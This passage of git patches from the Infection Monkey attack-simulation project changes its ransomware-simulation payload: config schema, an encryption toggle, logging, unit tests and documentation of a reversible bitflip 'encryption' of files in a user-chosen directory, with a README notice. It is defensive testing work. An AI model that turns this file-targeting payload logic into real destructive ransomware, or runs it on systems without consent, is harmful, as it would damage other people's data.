{GUID} -s 101010 -d 0 -l /home/bla -vp 80" + expected = f" -p {GUID} -s 101010 -d 0 -l /home/bla -vp 80" actual = build_monkey_commandline( target_host=example_host, depth=0, vulnerable_port="80", location="/home/bla" ) From 6301ec9d14b89261d30f17f42a373b0ed8d48908 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 29 Jun 2021 13:39:00 -0400 Subject: [PATCH 0967/1360] agent: Add a log message when ransomware leaves a README.txt --- monkey/infection_monkey/ransomware/ransomware_payload.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 9d85a48eab0..698da80d413 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -81,7 +81,10 @@ def _send_telemetry(self, filepath: Path, success: bool, error: str): def _leave_readme(self): if self._readme_enabled: + readme_dest_path = Path(self._target_dir) / README_DEST + LOG.info(f"Leaving a ransomware README file at {readme_dest_path}") + try: - shutil.copyfile(README_SRC, Path(self._target_dir) / README_DEST) + shutil.copyfile(README_SRC, readme_dest_path) except Exception as ex: LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") From 13a94804b44150877ab2b6d195478c4427acaaaf Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 29 Jun 2021 16:02:20 +0530 Subject: [PATCH 0968/1360] cc: Add checkbox for ransomware encryption --- .../cc/services/config_schema/ransomware.py | 41 ++++++++++++------- 1 file changed, 27 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index bf7d5aced1e..09f9c80eabd 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -2,23 +2,36 @@ "title": "Ransomware", "type": "object", "properties": { - "directories": { - "title": "Directories to encrypt", + "encryption": { + "title": "Encryption", "type": "object", "properties": { - "linux_dir": { - "title": "Linux encryptable directory", - "type": "string", - "default": "", - "description": "Files in the specified directory will be encrypted " - "using bitflip to simulate ransomware.", + "should_encrypt": { + "title": "Encrypt files", + "type": "boolean", + "default": True, + "description": "Selected files will be encrypted using bitflip to simulate " + "ransomware. Enter target directories below.", }, - "windows_dir": { - "title": "Windows encryptable directory", - "type": "string", - "default": "", - "description": "Files in the specified directory will be encrypted " - "using bitflip to simulate ransomware.", + "directories": { + "title": "Directories to encrypt", + "type": "object", + "properties": { + "linux_dir": { + "title": "Linux encryptable directory", + "type": "string", + "default": "", + "description": "Files in the specified directory will be encrypted " + "using bitflip to simulate ransomware.", + }, + "windows_dir": { + "title": "Windows encryptable directory", + "type": "string", + "default": "", + "description": "Files in the specified directory will be encrypted " + "using bitflip to simulate ransomware.", + }, + }, }, }, }, From 4035d9d213f9c318851e465b56fcc584aa356744 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 29 Jun 2021 16:17:28 +0530 Subject: [PATCH 0969/1360] agent: Modify ransomware payload to work with modified ransomware config schema --- .../ransomware/ransomware_payload.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 698da80d413..1027b5defc0 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -21,7 +21,10 @@ class RansomwarePayload: def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): - target_directories = config["directories"] + self.should_encrypt = config["encryption"]["should_encrypt"] + LOG.info(f"Encryption routine for ransomware simulation enabled: {self.should_encrypt}") + + target_directories = config["encryption"]["directories"] LOG.info( f"Windows dir configured for encryption is \"{target_directories['windows_dir']}\"" ) @@ -44,9 +47,11 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): self._telemetry_messenger = telemetry_messenger def run_payload(self): - LOG.info("Running ransomware payload") - file_list = self._find_files() - self._encrypt_files(file_list) + if self.should_encrypt: + LOG.info("Running ransomware payload") + file_list = self._find_files() + self._encrypt_files(file_list) + self._leave_readme() def _find_files(self) -> List[Path]: From a1efd915b1165e47f9c37429c3dcbbcd0fca4581 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 29 Jun 2021 16:23:30 +0530 Subject: [PATCH 0970/1360] cc: Fix grammar in ransomware config schema --- monkey/monkey_island/cc/services/config_schema/ransomware.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 09f9c80eabd..17475d0190a 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -36,7 +36,7 @@ }, }, "other_behaviors": { - "title": "Other Behaviors", + "title": "Other behavior", "type": "object", "properties": { "readme": { From 392ece29a014c89d93e6507d1607f7e659526c0d Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 29 Jun 2021 16:39:27 +0530 Subject: [PATCH 0971/1360] tests: Modify/add tests for ransomware payload as per ransomware config schema changes --- .../ransomware/test_ransomware_payload.py | 20 ++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 80677ecf291..d5c48e81552 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -32,7 +32,13 @@ def with_extension(filename): @pytest.fixture def ransomware_payload_config(ransomware_target): return { - "directories": {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)}, + "encryption": { + "should_encrypt": True, + "directories": { + "linux_dir": str(ransomware_target), + "windows_dir": str(ransomware_target), + }, + }, "other_behaviors": {"readme": False}, } @@ -127,6 +133,18 @@ def test_skip_already_encrypted_file(ransomware_target, ransomware_payload): ) +def test_encryption_skipped_if_configured_false( + ransomware_payload_config, ransomware_target, telemetry_messenger_spy +): + ransomware_payload_config["encryption"]["should_encrypt"] = False + + ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) + ransomware_payload.run_payload() + + assert hash_file(ransomware_target / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + + def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): ransomware_payload.run_payload() From 8a902cd2b65a2ac27c5011265b08a615c2473d63 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 30 Jun 2021 12:26:55 +0530 Subject: [PATCH 0972/1360] docs: Modify README portion of ransomware docs Give more context. Explain how a ransomware attack usually does this. Co-authored-by: Mike Salvatore --- docs/content/reference/ransomware.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index e07c3e4f0da..b756d8b2008 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -17,9 +17,11 @@ files only if the user specifies a directory that contains files that are safe t If no directory is specified, no files will be encrypted. #### Leaving a README.txt file -If a target directory is specified for the encryption routine, the ransomware simulation can be configured to leave a README.txt file there. This file clearly states that there is no need to panic and only a simulation is taking place. +Many ransomware packages leave a README.txt file on the victim machine with an explanation of what has occurred and instructions for paying the attacker. Infection Monkey can also leave a README.txt file on the victim machine in order to replicate this behavior. This can be enabled or disabled by checking the box in the configuration screen. Note that if no target directory is specified, Infection Monkey will not leave a README.txt file. -The contents of the file can be found [here](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/ransomware/ransomware_readme.txt). + + +The README.txt file informs the user that a ransomware simulation has taken place and that they should contact their administrator. The contents of the file can be found [here](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/ransomware/ransomware_readme.txt). From 560cfb594863e3197f31743218f6bc5e4ce009a9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 30 Jun 2021 12:36:35 +0530 Subject: [PATCH 0973/1360] docs: Do slight rewording in ransomware's README section --- docs/content/reference/ransomware.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index b756d8b2008..3c8a30dadc9 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -17,7 +17,7 @@ files only if the user specifies a directory that contains files that are safe t If no directory is specified, no files will be encrypted. #### Leaving a README.txt file -Many ransomware packages leave a README.txt file on the victim machine with an explanation of what has occurred and instructions for paying the attacker. Infection Monkey can also leave a README.txt file on the victim machine in order to replicate this behavior. This can be enabled or disabled by checking the box in the configuration screen. Note that if no target directory is specified, Infection Monkey will not leave a README.txt file. +Many ransomware packages leave a README.txt file on the victim machine with an explanation of what has occurred and instructions for paying the attacker. Infection Monkey can also leave a README.txt file in the target directory on the victim machine in order to replicate this behavior. This can be enabled or disabled by checking the box on the configuration screen. Note that if no target directory is specified for encryption, Infection Monkey will not leave a README.txt file. From 619695d5bc9a0c017c4a9d42e921f37f97217063 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 30 Jun 2021 13:34:38 +0530 Subject: [PATCH 0974/1360] agent: Rename `self.should_encrypt` to `self.encryption_enabled` in ransomware payload --- monkey/infection_monkey/ransomware/ransomware_payload.py | 6 +++--- .../monkey_island/cc/services/config_schema/ransomware.py | 2 +- .../infection_monkey/ransomware/test_ransomware_payload.py | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 1027b5defc0..d252db3893a 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -21,8 +21,8 @@ class RansomwarePayload: def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): - self.should_encrypt = config["encryption"]["should_encrypt"] - LOG.info(f"Encryption routine for ransomware simulation enabled: {self.should_encrypt}") + self.encryption_enabled = config["encryption"]["enabled"] + LOG.info(f"Encryption routine for ransomware simulation enabled: {self.encryption_enabled}") target_directories = config["encryption"]["directories"] LOG.info( @@ -47,7 +47,7 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): self._telemetry_messenger = telemetry_messenger def run_payload(self): - if self.should_encrypt: + if self.encryption_enabled: LOG.info("Running ransomware payload") file_list = self._find_files() self._encrypt_files(file_list) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 17475d0190a..50f23f16260 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -6,7 +6,7 @@ "title": "Encryption", "type": "object", "properties": { - "should_encrypt": { + "enabled": { "title": "Encrypt files", "type": "boolean", "default": True, diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index d5c48e81552..d5b2fae57d6 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -33,7 +33,7 @@ def with_extension(filename): def ransomware_payload_config(ransomware_target): return { "encryption": { - "should_encrypt": True, + "enabled": True, "directories": { "linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target), @@ -136,7 +136,7 @@ def test_skip_already_encrypted_file(ransomware_target, ransomware_payload): def test_encryption_skipped_if_configured_false( ransomware_payload_config, ransomware_target, telemetry_messenger_spy ): - ransomware_payload_config["encryption"]["should_encrypt"] = False + ransomware_payload_config["encryption"]["enabled"] = False ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) ransomware_payload.run_payload() From aecb80566baf4e5c6eaec687f376076e14417c68 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 30 Jun 2021 13:43:06 +0530 Subject: [PATCH 0975/1360] cc: Reword ransomware configuration fields' descriptions --- .../cc/services/config_schema/ransomware.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 50f23f16260..78933107eed 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -10,26 +10,28 @@ "title": "Encrypt files", "type": "boolean", "default": True, - "description": "Selected files will be encrypted using bitflip to simulate " - "ransomware. Enter target directories below.", + "description": "Ransomware encryption will be simulated by flipping every bit " + "in the files contained within the target directories.", }, "directories": { "title": "Directories to encrypt", "type": "object", "properties": { "linux_dir": { - "title": "Linux encryptable directory", + "title": "Linux target directory", "type": "string", "default": "", "description": "Files in the specified directory will be encrypted " - "using bitflip to simulate ransomware.", + "using bitflip. If no directory is specified, no files will be " + "encrypted.", }, "windows_dir": { - "title": "Windows encryptable directory", + "title": "Windows target directory", "type": "string", "default": "", "description": "Files in the specified directory will be encrypted " - "using bitflip to simulate ransomware.", + "using bitflip. If no directory is specified, no files will be " + "encrypted.", }, }, }, From af5fd8ac9dc2db8a534a1634de02a92866f50044 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 06:47:09 -0400 Subject: [PATCH 0976/1360] Docs: Minor wording change to ransomware description --- docs/content/reference/ransomware.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index 3c8a30dadc9..9d66c0d005c 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -6,7 +6,7 @@ pre: ' ' weight: 10 --- -The Infection Monkey has the capability of simulating a ransomware attack on your network through a series of activities. +The Infection Monkey is capable of simulating a ransomware attack on your network using a set of behaviors. #### Encrypting user-specified files All actions performed by the encryption routine are designed to be safe for production From 0d0d268a6481bd279fe57d4e7dab37f28c9d0af4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 06:49:01 -0400 Subject: [PATCH 0977/1360] Docs: Fix formatting of ransomware documentation --- docs/content/reference/ransomware.md | 58 ++++++++++++++++++++-------- 1 file changed, 41 insertions(+), 17 deletions(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index 9d66c0d005c..c5d28b64b9e 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -6,22 +6,33 @@ pre: ' ' weight: 10 --- -The Infection Monkey is capable of simulating a ransomware attack on your network using a set of behaviors. +The Infection Monkey is capable of simulating a ransomware attack on your +network using a set of behaviors. #### Encrypting user-specified files -All actions performed by the encryption routine are designed to be safe for production -environments. +All actions performed by the encryption routine are designed to be safe for +production environments. -To ensure minimum interference and easy recoverability, the ransomware simulation will encrypt -files only if the user specifies a directory that contains files that are safe to encrypt. -If no directory is specified, no files will be encrypted. +To ensure minimum interference and easy recoverability, the ransomware +simulation will encrypt files only if the user specifies a directory that +contains files that are safe to encrypt. If no directory is specified, no +files will be encrypted. #### Leaving a README.txt file -Many ransomware packages leave a README.txt file on the victim machine with an explanation of what has occurred and instructions for paying the attacker. Infection Monkey can also leave a README.txt file in the target directory on the victim machine in order to replicate this behavior. This can be enabled or disabled by checking the box on the configuration screen. Note that if no target directory is specified for encryption, Infection Monkey will not leave a README.txt file. +Many ransomware packages leave a README.txt file on the victim machine with an +explanation of what has occurred and instructions for paying the attacker. +Infection Monkey can also leave a README.txt file in the target directory on +the victim machine in order to replicate this behavior. This can be enabled or +disabled by checking the box on the configuration screen. Note that if no +target directory is specified for encryption, Infection Monkey will not leave a +README.txt file. -The README.txt file informs the user that a ransomware simulation has taken place and that they should contact their administrator. The contents of the file can be found [here](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/ransomware/ransomware_readme.txt). +The README.txt file informs the user that a ransomware simulation has taken +place and that they should contact their administrator. The contents of the +file can be found +[here](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/ransomware/ransomware_readme.txt). @@ -29,28 +40,41 @@ The README.txt file informs the user that a ransomware simulation has taken plac ## How are the files encrypted? -Files are "encrypted" in place with a simple bit flip. Encrypted files are renamed to have -`.m0nk3y` appended to their names. +Files are "encrypted" in place with a simple bit flip. Encrypted files are +renamed to have `.m0nk3y` appended to their names. -This is a safe way to simulate encryption since it is easy to "decrypt" your files. You can simply perform a bit flip on the files again and rename them to remove the appended `.m0nk3y` extension. +This is a safe way to simulate encryption since it is easy to "decrypt" your +files. You can simply perform a bit flip on the files again and rename them to +remove the appended `.m0nk3y` extension. -This is sufficient to mock a ransomware attack on your network as the data in your files has been manipulated (temporarily leaving them unusuable) and are renamed with a different extension, similar to the way that many ransomwares act. As this is a simulation, your security solutions should be triggered to notify and prevent these changes from taking place. +This is sufficient to mock a ransomware attack on your network as the data in +your files has been manipulated (temporarily leaving them unusuable) and are +renamed with a different extension, similar to the way that many ransomwares +act. As this is a simulation, your security solutions should be triggered to +notify and prevent these changes from taking place. ## Which files are encrypted? -All regular files with [valid extensions](#file-extensions-targeted-for-encryption) in the configured directory are attempted to be encrypted during the simulation. +All regular files with [valid +extensions](#file-extensions-targeted-for-encryption) in the configured +directory are attempted to be encrypted during the simulation. -The simulation is not recursive, i.e. it will not touch any files in sub-directories of the configured directory. Symlinks and shortcuts are ignored. +The simulation is not recursive, i.e. it will not touch any files in +sub-directories of the configured directory. Symlinks and shortcuts are +ignored. -These precautions are taken to prevent the monkey from going rogue and accidentally encrypting files that you didn't intend to encrypt. +These precautions are taken to prevent the monkey from going rogue and +accidentally encrypting files that you didn't intend to encrypt. ## File extensions targeted for encryption -Encryption attempts are only performed on regular files with the following extensions. +Encryption attempts are only performed on regular files with the following +extensions. -This list is based on the [analysis of the Goldeneye ransomware by BitDefender](https://labs.bitdefender.com/2017/07/a-technical-look-into-the-goldeneye-ransomware-attack/). +This list is based on the [analysis of the Goldeneye ransomware by +BitDefender](https://labs.bitdefender.com/2017/07/a-technical-look-into-the-goldeneye-ransomware-attack/). - .3ds - .7z From 771aa747a87af070a5227570c02d9ce71c782fa4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 06:53:27 -0400 Subject: [PATCH 0978/1360] Agent: encryption_enabled renamed using "private" naming convention --- monkey/infection_monkey/ransomware/ransomware_payload.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index d252db3893a..6486fb4d8b2 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -21,8 +21,10 @@ class RansomwarePayload: def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): - self.encryption_enabled = config["encryption"]["enabled"] - LOG.info(f"Encryption routine for ransomware simulation enabled: {self.encryption_enabled}") + self._encryption_enabled = config["encryption"]["enabled"] + LOG.info( + f"Encryption routine for ransomware simulation enabled: {self._encryption_enabled}" + ) target_directories = config["encryption"]["directories"] LOG.info( @@ -47,7 +49,7 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): self._telemetry_messenger = telemetry_messenger def run_payload(self): - if self.encryption_enabled: + if self._encryption_enabled: LOG.info("Running ransomware payload") file_list = self._find_files() self._encrypt_files(file_list) From 9a58d5bc7addc2e4042a2fea310e87534d7b3d0a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 07:24:37 -0400 Subject: [PATCH 0979/1360] Island: Reword ransomware target directory descriptions --- .../cc/services/config_schema/ransomware.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 78933107eed..fbc2e485e3e 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -21,17 +21,17 @@ "title": "Linux target directory", "type": "string", "default": "", - "description": "Files in the specified directory will be encrypted " - "using bitflip. If no directory is specified, no files will be " - "encrypted.", + "description": "A path to a directory on Linux systems that can be " + "used to safely simulate the encryption behavior of ransomware. If no " + "directory is specified, no files will be encrypted.", }, "windows_dir": { "title": "Windows target directory", "type": "string", "default": "", - "description": "Files in the specified directory will be encrypted " - "using bitflip. If no directory is specified, no files will be " - "encrypted.", + "description": "A path to a directory on Windows systems that can be " + "used to safely simulate the encryption behavior of ransomware. If no " + "directory is specified, no files will be encrypted.", }, }, }, From 946641f9a25a6e9b6786b8518bec6c8c39dfc5e8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 07:29:53 -0400 Subject: [PATCH 0980/1360] Rename {windows,linux}_dir to *_target_dir for consistency --- .../infection_monkey/ransomware/ransomware_payload.py | 10 ++++++---- .../cc/services/config_schema/ransomware.py | 4 ++-- .../ransomware/test_ransomware_payload.py | 4 ++-- 3 files changed, 10 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 6486fb4d8b2..13e8015d686 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -28,14 +28,16 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): target_directories = config["encryption"]["directories"] LOG.info( - f"Windows dir configured for encryption is \"{target_directories['windows_dir']}\"" + "Windows dir configured for encryption is " + target_directories["windows_target_dir"] + ) + LOG.info( + f"Linux dir configured for encryption is \"{target_directories['linux_target_dir']}\"" ) - LOG.info(f"Linux dir configured for encryption is \"{target_directories['linux_dir']}\"") self._target_dir = ( - target_directories["windows_dir"] + target_directories["windows_target_dir"] if is_windows_os() - else target_directories["linux_dir"] + else target_directories["linux_target_dir"] ) self._readme_enabled = config["other_behaviors"]["readme"] diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index fbc2e485e3e..c30c1a3926f 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -17,7 +17,7 @@ "title": "Directories to encrypt", "type": "object", "properties": { - "linux_dir": { + "linux_target_dir": { "title": "Linux target directory", "type": "string", "default": "", @@ -25,7 +25,7 @@ "used to safely simulate the encryption behavior of ransomware. If no " "directory is specified, no files will be encrypted.", }, - "windows_dir": { + "windows_target_dir": { "title": "Windows target directory", "type": "string", "default": "", diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index d5b2fae57d6..36dc6615ec7 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -35,8 +35,8 @@ def ransomware_payload_config(ransomware_target): "encryption": { "enabled": True, "directories": { - "linux_dir": str(ransomware_target), - "windows_dir": str(ransomware_target), + "linux_target_dir": str(ransomware_target), + "windows_target_dir": str(ransomware_target), }, }, "other_behaviors": {"readme": False}, From 169bb341061bda4bb415e9746de29ef4abcfeea3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 07:43:18 -0400 Subject: [PATCH 0981/1360] Agent: Simplify and improve logging in RansomwarePayload --- .../ransomware/ransomware_payload.py | 20 +++++++------------ 1 file changed, 7 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 13e8015d686..dcc0055de9e 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,6 +1,7 @@ import logging import shutil from pathlib import Path +from pprint import pformat from typing import List, Optional, Tuple from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor @@ -21,28 +22,18 @@ class RansomwarePayload: def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): + LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") + self._encryption_enabled = config["encryption"]["enabled"] - LOG.info( - f"Encryption routine for ransomware simulation enabled: {self._encryption_enabled}" - ) + self._readme_enabled = config["other_behaviors"]["readme"] target_directories = config["encryption"]["directories"] - LOG.info( - "Windows dir configured for encryption is " + target_directories["windows_target_dir"] - ) - LOG.info( - f"Linux dir configured for encryption is \"{target_directories['linux_target_dir']}\"" - ) - self._target_dir = ( target_directories["windows_target_dir"] if is_windows_os() else target_directories["linux_target_dir"] ) - self._readme_enabled = config["other_behaviors"]["readme"] - LOG.info(f"README enabled: {self._readme_enabled}") - self._new_file_extension = EXTENSION self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(self._new_file_extension) @@ -59,6 +50,7 @@ def run_payload(self): self._leave_readme() def _find_files(self) -> List[Path]: + LOG.info(f"Collecting files in {self._target_dir}") if not self._target_dir: return [] @@ -67,6 +59,8 @@ def _find_files(self) -> List[Path]: ) def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: + LOG.info(f"Encrypting files in {self._target_dir}") + results = [] for filepath in file_list: try: From f3e797694b722c7a16054f773fc09f91720e95be Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 08:07:11 -0400 Subject: [PATCH 0982/1360] Agent: Format config log messages so they are readable --- monkey/infection_monkey/control.py | 7 ++++--- monkey/infection_monkey/main.py | 7 +++---- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 6fdd585b274..feff589c1e5 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -1,6 +1,7 @@ import json import logging import platform +from pprint import pformat from socket import gethostname from urllib.parse import urljoin @@ -206,10 +207,10 @@ def load_control_config(): try: unknown_variables = WormConfiguration.from_kv(reply.json().get("config")) - LOG.info( - "New configuration was loaded from server: %r" - % (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),) + formatted_config = pformat( + WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()) ) + LOG.info(f"New configuration was loaded from server:\n{formatted_config}") except Exception as exc: # we don't continue with default conf here because it might be dangerous LOG.error( diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 9bdece16dd4..905c04ff8e5 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -6,6 +6,7 @@ import sys import traceback from multiprocessing import freeze_support +from pprint import pformat # dummy import for pyinstaller # noinspection PyUnresolvedReferences @@ -76,10 +77,8 @@ def main(): "default" % (config_file,) ) - print( - "Loaded Configuration: %r" - % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()) - ) + formatted_config = pformat(WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())) + print(f"Loaded Configuration:\n{formatted_config}") # Make sure we're not in a machine that has the kill file kill_path = ( From 2427393e4aa90a8bb47aa793e2310773a39c5d93 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 08:41:00 -0400 Subject: [PATCH 0983/1360] Agent: Rename VALID_FILE_EXTENSIONS_FOR_ENCRYPTION --- monkey/infection_monkey/ransomware/ransomware_payload.py | 4 ++-- .../{valid_file_extensions.py => targeted_file_extensions.py} | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) rename monkey/infection_monkey/ransomware/{valid_file_extensions.py => targeted_file_extensions.py} (95%) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index dcc0055de9e..a3ae684ae03 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -6,7 +6,7 @@ from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor from infection_monkey.ransomware.file_selectors import select_production_safe_target_files -from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION +from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os @@ -35,7 +35,7 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): ) self._new_file_extension = EXTENSION - self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() + self._valid_file_extensions_for_encryption = TARGETED_FILE_EXTENSIONS.copy() self._valid_file_extensions_for_encryption.discard(self._new_file_extension) self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) diff --git a/monkey/infection_monkey/ransomware/valid_file_extensions.py b/monkey/infection_monkey/ransomware/targeted_file_extensions.py similarity index 95% rename from monkey/infection_monkey/ransomware/valid_file_extensions.py rename to 